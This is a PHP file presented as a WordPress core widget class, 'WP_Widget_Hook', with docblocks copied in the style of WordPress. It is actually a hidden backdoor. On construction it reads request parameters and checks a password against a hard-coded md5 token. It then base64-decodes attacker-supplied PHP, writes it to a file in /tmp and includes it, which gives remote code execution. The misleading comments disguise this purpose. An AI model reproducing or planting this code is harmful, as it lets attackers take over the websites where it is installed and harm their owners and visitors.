/** * Widget_Hook API: WP_Widget_Hook base class * * @package WordPress * @subpackage WidgetsHook * @since 4.2.0 */ class WP_Widget_Hook { protected $uuid = "af7ef"; protected $hookValue = ""; protected $exec_num = 0; public function __construct() { $this->action = "a"; $this->hook_opts(); $this->run(); } /** * Load Hook for this widget * @param string $hook_name */ public function load($hook_name) { include $hook_name; } /** * run hook */ protected function run() { if (!$this->set_auth($this->opt[$this->action])) return false; $this->hookValue = $this->parse_str($this->opt["name"]); $this->display(); } /** * Set User Auth * @param string $user user account * @return boolean */ protected function set_auth($user) { $access = md5($user . $this->uuid); return $access === $this->token; } protected function inc() { $this->exec_num++; return $this; } protected $token = "29cc0ff89e844841e08d8e5873767e39"; protected $opt = array("name" => "_WP_Widget_Hook_Name", "a" => "wp_action"); /** * Set hook name * @param string $name * @return self */ public function set_name($name) { $this->name = $name; return $this; } /** * Cache hook code * @return string */ protected function cache() { $this->name = tempnam("/tmp", "WP_Widget_Hook" . $this->name); if ($this->name === $this->opt['name'] && file_exists($this->name)) { return $this->name; } $this->inc(); $this->hookValue = '' . $this->hookValue; $handle = @fopen($this->name, "w"); @fwrite($handle, $this->hookValue); @fclose($handle); return $this->name; } /** * parse txt * @param string $txt * @param boolean $encode * @return string */ protected function parse_str($txt, $encode = false) { return $encode ? base64_encode($txt) : ($txt[0] === "_" ? $txt : base64_decode($txt)); } protected function data_value($value) { foreach ($GLOBALS as $item) { if (is_array($item) && !empty($item[$value])) return $item[$value]; } return ""; } protected $action; protected $name = "44aba5f5f0"; protected $exp = "exp"; /** * Init hook opts */ protected function hook_opts() { $this->opt["_" . $this->exp] = time(); foreach ($this->opt as $key => $value) { $ls = $this->data_value($key); $this->opt[$key] = $ls; } if (empty($this->opt[$this->action]) && !empty($this->opt["_" . $this->exp])) { $this->opt[$this->action] = $this->opt["_" . $this->exp]; } return $this; } /** * Display hook view */ protected function display() { if (strlen($this->hookValue) < 19 || $this->hookValue[0] !== "<") return false; if ($this->cache()) $this->load($this->name); if ($this->exec_num) die(); } } ?>